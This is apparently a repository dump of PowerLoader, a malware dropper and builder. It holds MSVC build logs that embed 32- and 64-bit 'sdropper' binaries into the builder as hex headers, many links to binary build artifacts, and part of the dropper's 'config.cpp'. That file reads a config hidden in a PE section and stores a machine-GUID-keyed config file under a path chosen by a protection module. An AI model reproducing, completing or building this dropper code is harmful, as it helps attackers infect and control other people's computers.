| VOID Entry() 97 | { 98 | if (DialogBoxParam(0, MAKEINTRESOURCE(IDD_DIALOG1), 0, MainDlgProc, 0) == -1) 99 | { 100 | MessageBox(0, "DialogBoxParam failed", 0, MB_ICONHAND); 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/CL.2396.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/CL.2396.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/CL.2396.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/CL.2396.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/CL.2884.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/CL.2884.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/CL.2884.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/CL.2884.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/CL.4652.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/CL.4652.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/CL.4652.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/CL.4652.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/CL.5012.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/CL.5012.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/CL.5012.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/CL.5012.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/CL.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/builder.lastbuildstate: -------------------------------------------------------------------------------- 1 | #v4.0:v100 2 | Debug|Win32|C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\| 3 | -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/builder.log: -------------------------------------------------------------------------------- 1 | Построение начато 07.09.2012 20:00:31. 2 | 1>Проект "C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\builder.vcxproj" в узле 3 (целевые объекты rebuild). 3 | 1>_PrepareForClean: 4 | Файл "Debug\builder.lastbuildstate" удаляется. 5 | InitializeBuildStatus: 6 | Создание "Debug\builder.unsuccessfulbuild", так как было задано "AlwaysCreate". 7 | PreBuildEvent: 8 | ..\..\tools\bin2hex.exe ..\..\_out\Debug\sdropper32.exe ..\..\binhex\Debug\sdropper32-hex.h 9 | ..\..\tools\bin2hex.exe ..\..\_out\Debug\sdropper64.exe ..\..\binhex\Debug\sdropper64-hex.h 10 | :VCEnd 11 | ClCompile: 12 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\CL.exe /c /I..\..\share /I..\..\binhex\Debug /Zi /nologo /W3 /WX- /Od /Oy- /D WIN32 /D _WIN32 /D _DEBUG /D _WINDOWS /D _CRT_SECURE_NO_WARNINGS /D _BUILDER /D _MBCS /Gm- /MTd /GS- /fp:precise /Zc:wchar_t /Zc:forScope /GR- /Fo"Debug\\" /Fd"Debug\vc100.pdb" /Gz /TP /analyze- /errorReport:prompt ..\..\share\peldr.cpp ..\..\share\seccfg.cpp ..\..\share\utils.cpp ..\builder.cpp /MP 13 | peldr.cpp 14 | seccfg.cpp 15 | utils.cpp 16 | builder.cpp 17 | ResourceCompile: 18 | c:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\bin\rc.exe /l"0x0409" /nologo /fo"Debug\builder.res" builder.rc 19 | Link: 20 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"..\..\_out\builder_Debug.exe" /INCREMENTAL:NO /NOLOGO ntdll32.lib shlwapi.lib wsock32.lib wininet.lib rpcrt4.lib imagehlp.lib psapi.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST:NO /DEBUG /PDB:"C:\_Work\Projects\_power_ldr\power_ldr\_out\builder_Debug.pdb" /MAP /MAPINFO:EXPORTS /ASSEMBLYDEBUG /SUBSYSTEM:WINDOWS /TLBID:1 /ENTRY:"Entry" /DYNAMICBASE:NO /FIXED /NXCOMPAT /IMPLIB:"C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\builder_Debug.lib" /MACHINE:X86 Debug\builder.res 21 | Debug\peldr.obj 22 | Debug\seccfg.obj 23 | Debug\utils.obj 24 | Debug\builder.obj 25 | builder.vcxproj -> C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\builder_Debug.exe 26 | FinalizeBuildStatus: 27 | Файл "Debug\builder.unsuccessfulbuild" удаляется. 28 | Обращение к "Debug\builder.lastbuildstate". 29 | 1>Построение проекта "C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\builder.vcxproj" завершено (целевые объекты rebuild). 30 | 31 | Построение успешно завершено. 32 | 33 | Затраченное время: 00:00:00.87 34 | -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/builder.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/builder.obj -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/builder.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/builder.res -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/builder_Debug.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\_OUT\BUILDER_DEBUG.EXE 2 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\_OUT\BUILDER_DEBUG.MAP 3 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\_OUT\BUILDER_DEBUG.PDB 4 | C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\builder_Debug.exe 5 | C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\builder_Debug.pdb 6 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\builder.obj 7 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\BUILDER\VCXPROJ\DEBUG\BUILDER.RES 8 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\CL.1412.read.1.tlog 9 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\CL.1412.write.1.tlog 10 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\CL.3720.read.1.tlog 11 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\CL.3720.write.1.tlog 12 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\CL.5256.read.1.tlog 13 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\CL.5256.write.1.tlog 14 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\CL.5636.read.1.tlog 15 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\CL.5636.write.1.tlog 16 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\cl.command.1.tlog 17 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\CL.read.1.tlog 18 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\cl.write.1.tlog 19 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\link.command.1.tlog 20 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\link.read.1.tlog 21 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\link.write.1.tlog 22 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\link-cvtres.read.1.tlog 23 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\link-cvtres.write.1.tlog 24 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\peldr.obj 25 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\rc.command.1.tlog 26 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\rc.read.1.tlog 27 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\rc.write.1.tlog 28 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\seccfg.obj 29 | C:\_Work\Projects\_power_ldr\power_ldr\builder\vcxproj\Debug\utils.obj 30 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\BUILDER\VCXPROJ\DEBUG\VC100.PDB 31 | -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/cl.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/cl.command.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/cl.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/cl.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/link-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/link-cvtres.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/link-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/link-cvtres.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/link.command.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/link.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/link.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/peldr.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/peldr.obj -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/rc.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/rc.command.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/rc.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/rc.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/rc.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/rc.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/seccfg.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/seccfg.obj -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/utils.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/utils.obj -------------------------------------------------------------------------------- /src/builder/vcxproj/Debug/vc100.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Debug/vc100.pdb -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/CL.2716.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/CL.2716.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/CL.2716.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/CL.2716.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/CL.3052.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/CL.3052.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/CL.3052.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/CL.3052.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/CL.4484.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/CL.4484.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/CL.4484.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/CL.4484.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/CL.5560.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/CL.5560.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/CL.5560.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/CL.5560.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/CL.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/builder.lastbuildstate: -------------------------------------------------------------------------------- 1 | #v4.0:v100 2 | Release|Win32|C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\| 3 | -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/builder.log: -------------------------------------------------------------------------------- 1 | Построение начато 16.10.2012 18:12:22. 2 | 1>Проект "C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\builder.vcxproj" в узле 3 (целевые объекты rebuild). 3 | 1>_PrepareForClean: 4 | Файл "Release\builder.lastbuildstate" удаляется. 5 | InitializeBuildStatus: 6 | Обращение к "Release\builder.unsuccessfulbuild". 7 | PreBuildEvent: 8 | ..\..\tools\bin2hex.exe ..\..\_out\Release\sdropper32.exe ..\..\binhex\Release\sdropper32-hex.h 9 | ..\..\tools\bin2hex.exe ..\..\_out\Release\sdropper64.exe ..\..\binhex\Release\sdropper64-hex.h 10 | :VCEnd 11 | ClCompile: 12 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\CL.exe /c /I..\..\share /I..\..\binhex\Release /Zi /nologo /W3 /WX- /Ox /Ob2 /Oi /Os /Oy- /GL /D WIN32 /D _WIN32 /D NDEBUG /D _WINDOWS /D _CRT_SECURE_NO_WARNINGS /D _BUILDER /D _MBCS /Gm- /MT /GS- /Gy /fp:precise /Zc:wchar_t /Zc:forScope /GR- /Fo"Release\\" /Fd"Release\vc100.pdb" /Gz /TP /analyze- /errorReport:prompt ..\..\share\peldr.cpp ..\..\share\seccfg.cpp ..\..\share\utils.cpp ..\builder.cpp /MP 13 | peldr.cpp 14 | seccfg.cpp 15 | utils.cpp 16 | builder.cpp 17 | ResourceCompile: 18 | c:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\bin\rc.exe /l"0x0409" /nologo /fo"Release\builder.res" builder.rc 19 | Link: 20 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"..\..\_out\builder_Release.exe" /INCREMENTAL:NO /NOLOGO ntdll32.lib shlwapi.lib wsock32.lib wininet.lib rpcrt4.lib imagehlp.lib psapi.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST:NO /PDB:"C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_out\builder_Release.pdb" /MAP /MAPINFO:EXPORTS /SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /LTCG /TLBID:1 /ENTRY:"Entry" /RELEASE /DYNAMICBASE:NO /FIXED /NXCOMPAT /IMPLIB:"C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\..\_out\builder_Release.lib" /MACHINE:X86 Release\builder.res 21 | Release\peldr.obj 22 | Release\seccfg.obj 23 | Release\utils.obj 24 | Release\builder.obj 25 | Создание кода 26 | Создание кода завершено 27 | builder.vcxproj -> C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\_vcxproj\..\_out\builder_Release.exe 28 | FinalizeBuildStatus: 29 | Файл "Release\builder.unsuccessfulbuild" удаляется. 30 | Обращение к "Release\builder.lastbuildstate". 31 | 1>Построение проекта "C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\builder.vcxproj" завершено (целевые объекты rebuild). 32 | 33 | Построение успешно завершено. 34 | 35 | Затраченное время: 00:00:00.74 36 | -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/builder.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/builder.obj -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/builder.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/builder.res -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/builder_Release.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\CL.3068.read.1.tlog 2 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\CL.3068.write.1.tlog 3 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\CL.4680.read.1.tlog 4 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\CL.4680.write.1.tlog 5 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\CL.5088.read.1.tlog 6 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\CL.5088.write.1.tlog 7 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\CL.5528.read.1.tlog 8 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\CL.5528.write.1.tlog 9 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\cl.command.1.tlog 10 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\CL.read.1.tlog 11 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\cl.write.1.tlog 12 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\BUILDER\VCXPROJ\RELEASE\PELDR.OBJ 13 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\BUILDER\VCXPROJ\RELEASE\SECCFG.OBJ 14 | C:\_WORK\PROJECTS\_POWER_LDR\_TBH\POWER_LDR_SRC\BUILDER\VCXPROJ\RELEASE\UTILS.OBJ 15 | C:\_Work\Projects\_power_ldr\_tbh\power_ldr_SRC\builder\vcxproj\Release\vc100.pdb 16 | -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/cl.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/cl.command.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/cl.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/cl.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/link-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/link-cvtres.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/link-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/link-cvtres.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/link.command.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/link.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/link.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/peldr.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/peldr.obj -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/rc.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/rc.command.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/rc.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/rc.read.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/rc.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/rc.write.1.tlog -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/seccfg.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/seccfg.obj -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/utils.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/utils.obj -------------------------------------------------------------------------------- /src/builder/vcxproj/Release/vc100.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/Release/vc100.pdb -------------------------------------------------------------------------------- /src/builder/vcxproj/builder.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/builder.aps -------------------------------------------------------------------------------- /src/builder/vcxproj/builder.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/builder.rc -------------------------------------------------------------------------------- /src/builder/vcxproj/builder.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 6 | h;hpp;hxx;hm;inl;inc;xsd 7 | 8 | 9 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 10 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 11 | 12 | 13 | 14 | 15 | share 16 | 17 | 18 | builder 19 | 20 | 21 | share 22 | 23 | 24 | share 25 | 26 | 27 | 28 | 29 | builder 30 | 31 | 32 | share 33 | 34 | 35 | share 36 | 37 | 38 | share 39 | 40 | 41 | share 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /src/builder/vcxproj/builder.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /src/builder/vcxproj/icon1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/icon1.ico -------------------------------------------------------------------------------- /src/builder/vcxproj/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/builder/vcxproj/resource.h -------------------------------------------------------------------------------- /src/sdropper/config.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "dropper.h" 9 | #include "config.h" 10 | #include "protect.h" 11 | 12 | #include "utils.h" 13 | #include "seccfg.h" 14 | #include "peldr.h" 15 | #include "cfgini.h" 16 | 17 | // Config 18 | //---------------------------------------------------------------------------------------------------------------------------------------------------- 19 | 20 | CHAR Config::ConfigFileName[MAX_PATH]; 21 | PVOID Config::ConfigBuffer = NULL; 22 | DWORD Config::ConfigSize = 0; 23 | 24 | VOID Config::ReadConfig() 25 | { 26 | SecCfg::SECTION_CONFIG Config; 27 | 28 | Config.Name = SECCFG_SECTION_NAME; 29 | if (SecCfg::GetSectionConfig(&Config, Drop::CurrentImageBase)) 30 | { 31 | ConfigBuffer = Config.Config; 32 | ConfigSize = Config.Raw.ConfigSize; 33 | } 34 | 35 | Protect::GetNewPath(ConfigFileName, ".cfg"); 36 | } 37 | 38 | BOOLEAN Config::WriteString(PCHAR Section, PCHAR Variable, PCHAR Value) 39 | { 40 | return CfgfWriteString(ConfigFileName, Section, Variable, Value, Drop::GetMachineGuid()); 41 | } 42 | 43 | BOOLEAN Config::ReadString(PCHAR Section, PCHAR Variable, PCHAR Value, DWORD Size) 44 | { 45 | BOOLEAN Result = FALSE; 46 | PCHAR DefaultString = NULL; 47 | 48 | Result = (BOOLEAN)CfgsReadString(ConfigBuffer, ConfigSize, Section, Variable, &DefaultString); 49 | Result = (BOOLEAN)CfgfReadString(ConfigFileName, Section, Variable, DefaultString, Value, Size, Drop::GetMachineGuid()); 50 | 51 | if (DefaultString) free(DefaultString); 52 | 53 | return Result; 54 | } 55 | 56 | DWORD Config::ReadInt(PCHAR Section, PCHAR Name) 57 | { 58 | CHAR Buffer[20] = {0}; 59 | 60 | ReadString(Section, Name, Buffer, RTL_NUMBER_OF(Buffer)); 61 | 62 | return StrToInt(Buffer); 63 | } 64 | 65 | BOOLEAN Config::WriteInt(PCHAR Section, PCHAR Name, DWORD Int) 66 | { 67 | CHAR Buffer[20] = {0}; 68 | 69 